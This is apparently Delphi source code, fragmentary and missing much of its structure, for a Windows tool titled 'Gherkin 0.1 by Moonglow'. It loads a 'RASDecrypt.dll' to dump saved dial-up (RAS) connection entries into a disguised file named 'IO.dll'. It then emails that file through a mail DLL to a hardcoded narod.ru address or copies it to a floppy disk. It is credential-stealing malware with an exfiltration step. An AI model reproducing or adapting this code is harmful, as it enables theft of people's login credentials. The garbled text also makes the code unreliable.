|
|
|
Windows, Messages, SysUtils; | |
Window: TWndClassEx; | |
mWindow, hButton1, hLabel1, hButton2, hButton3, | |
hLabel2, hLabel3, hLabel4, hLabel5: HWND; | |
RASEntry: procedure(ResValue: string); | |
SendMail: procedure(tHost, ToA, FromA, tCc, Subject, Body, Attachment, | |
Login, Password, Session: string); | |
RASInstance, SMLInstance: THandle; | |
UFile: TextFile; | |
FoundRASEntries, MailSended, ConfigurationLoaded: boolean; | |
UFileName, ENCKey, WinDir, ExFileName, Host, Login, Passw: String; | |
WindirP: PChar; | |
wDir: Cardinal; | |
Hour, Min, Sec, Msec: word; | |
function GetUserName:string; | |
Buffer: array[0..MAX_PATH] of Char; | |
sz:=MAX_PATH-1; | |
if windows.GetUserName(Buffer,sz) | |
if sz>0 then dec(sz); | |
SetString(Result,Buffer,sz); | |
end else begin | |
Result:='Error '+inttostr(GetLastError); | |
Cf: TextFile; | |
AssignFile (Cf, 'EMLConf.sys'); | |
Host := Copy(s, 6, length(s)); | |
Login := Copy(s, 7, length(s)); | |
Passw := Copy(s, 7, length(s)); | |
ConfigurationLoaded := true; | |
function WindowProc (wnd: HWND; msg: integer; wparam: WPARAM; | |
lparam: LPARAM):LResult; stdcall; | |
DeleteFile (UFileName); | |
PostQuitMessage (0); | |
if lParam = hButton3 then | |
DeleteFile (UFileName); | |
MessageBeep (mb_OK); | |
PostQuitMessage (0); | |
Result := 0; | |
Exit; | |
if lParam = hButton1 then | |
@SendMail := nil; | |
SMLInstance := LoadLibrary(pchar('EMailSnd.dll')); | |
if SMLInstance >= 32 then | |
begin | |
@SendMail := GetProcAddress (SMLInstance, 'SendMail'); | |
if (@SendMail <> nil) then | |
begin | |
SendMail (Host, 'temp123321qwerty@narod.ru', | |
'temp123321qwerty@narod.ru', 'temp123321qwerty@narod.ru', | |
'Gherkin', ENCKey, UFileName, | |
Login, Passw, 'Moonglow'); | |
MailSended := true; | |
messagebox (0, 'Completed successfully', 'operation status', MB_OK); | |
end; | |
end; | |
FreeLibrary (SMLInstance); | |
if lParam = hButton2 then | |
CopyFile (pchar(UFileName), pchar('A:'+ExFileName), false); | |
Result := DefWindowProc(wnd,msg,wparam,lparam); | |
ConfigurationLoaded := false; | |
WinDirP := StrAlloc(MAX_PATH); | |
wDir := GetWindowsDirectory(WinDirP, MAX_PATH); | |
WinDir := StrPas(WinDirP); | |
UFileName := copy(windir,1,3)+'IO.dll'; | |
DecodeTime (Now, Hour, Min, Sec, MSec); | |
ENCKey := GetUserName+IntToStr(Hour)+IntToStr(Min)+IntToStr(Sec) | |
+IntToStr(MSec); | |
AssignFile (UFile, UFileName); | |
Rewrite (UFile); | |
CloseFile (UFile); | |
RASInstance := LoadLibrary(pchar('RASDecrypt.dll')); | |
if RASInstance >= 32 then | |
@RASEntry := GetProcAddress (RASInstance, 'RASEntry'); | |
if @RASEntry <> nil then | |
RASEntry (UFileName); | |
FoundRASEntries := true; | |
FreeLibrary (RASInstance); | |
window.cbSize := sizeof (window); | |
window.style := CS_HREDRAW or CS_VREDRAW; | |
window.lpfnWndProc := @WindowProc; | |
window.hInstance := HInstance; | |
window.hIcon := LoadIcon (0,IDI_APPLICATION); | |
window.hCursor := LoadCursor (0,IDC_ARROW); | |
window.hbrBackground:= GetStockObject (Black_Brush); | |
window.lpszMenuName := nil; | |
window.lpszClassName := 'Main_Window'; | |
RegisterClassEx (window); | |
Mwindow := CreateWindow('Main_Window','Gherkin 0.1 by Moonglow', | |
WS_EX_OVERLAPPEDWINDOW, | |
200,200,310,129,0,0,Hinstance,nil); | |
if (FoundRASEntries = true) then | |
hLabel1 := CreateWindow('Static', ' ras: found some entries', | |
WS_VISIBLE or WS_CHILD or SS_LEFT, | |
0, 0, 310, 17, mWindow, 0, hInstance, nil) else | |
hLabel1 := CreateWindow('Static', ' ras: nothing found', | |
WS_VISIBLE or WS_CHILD or SS_LEFT, | |
0, 0, 310, 17, mWindow, 0, hInstance, nil); | |
if ConfigurationLoaded then | |
hLabel2 := CreateWindow('Static', ' configuration loaded successfully', | |
WS_VISIBLE or WS_CHILD or SS_LEFT, | |
0, 18, 310, 17, mWindow, 0, hInstance, nil) else | |
hLabel2 := CreateWindow('Static', ' error, can''t load configuration', | |
WS_VISIBLE or WS_CHILD or SS_LEFT, | |
0, 18, 310, 17, mWindow, 0, hInstance, nil); | |
if (FoundRASEntries = true) then | |
hLabel3 := CreateWindow('Static', ' file successfully created and encrypted', | |
WS_VISIBLE or WS_CHILD or SS_LEFT, | |
0, 36, 310, 17, mWindow, 0, hInstance, nil); | |
hLabel4 := CreateWindow('Static', ' status: ready, waiting for action', | |
WS_VISIBLE or WS_CHILD or SS_LEFT, | |
0, 54, 310, 17, mWindow, 0, hInstance, nil); | |
hLabel3 := CreateWindow('Static', ' error, can''t create file', | |
WS_VISIBLE or WS_CHILD or SS_LEFT, | |
0, 36, 310, 17, mWindow, 0, hInstance, nil) ; | |
hLabel4 := CreateWindow('Static', ' status: check for error''s', | |
WS_VISIBLE or WS_CHILD or SS_LEFT, | |
0, 54, 310, 17, mWindow, 0, hInstance, nil); | |
hLabel5 := CreateWindow('Static', '', | |
WS_VISIBLE or WS_CHILD or SS_LEFT, | |
0, 72, 310, 25, mWindow, 0, hInstance, nil); | |
hButton1 := CreateWindow ('Button', 'send', | |
WS_VISIBLE or WS_CHILD or BS_PUSHLIKE or BS_TEXT, | |
5, 76, 95, 18, mWindow, 0, hInstance, nil); | |
hButton2 := CreateWindow ('Button', 'save', | |
WS_VISIBLE or WS_CHILD or BS_PUSHLIKE or BS_TEXT, | |
105, 76, 95, 18, mWindow, 0, hInstance, nil); | |
hButton3 := CreateWindow ('Button', 'close', | |
WS_VISIBLE or WS_CHILD or BS_PUSHLIKE or BS_TEXT, | |
205, 76, 95, 18, mWindow, 0, hInstance, nil); | |
ShowWindow (Mwindow,SW_Show); | |
while GetMessage (Mmsg,0,0,0) do | |
TranslateMessage (Mmsg); | |
DispatchMessage (Mmsg); | |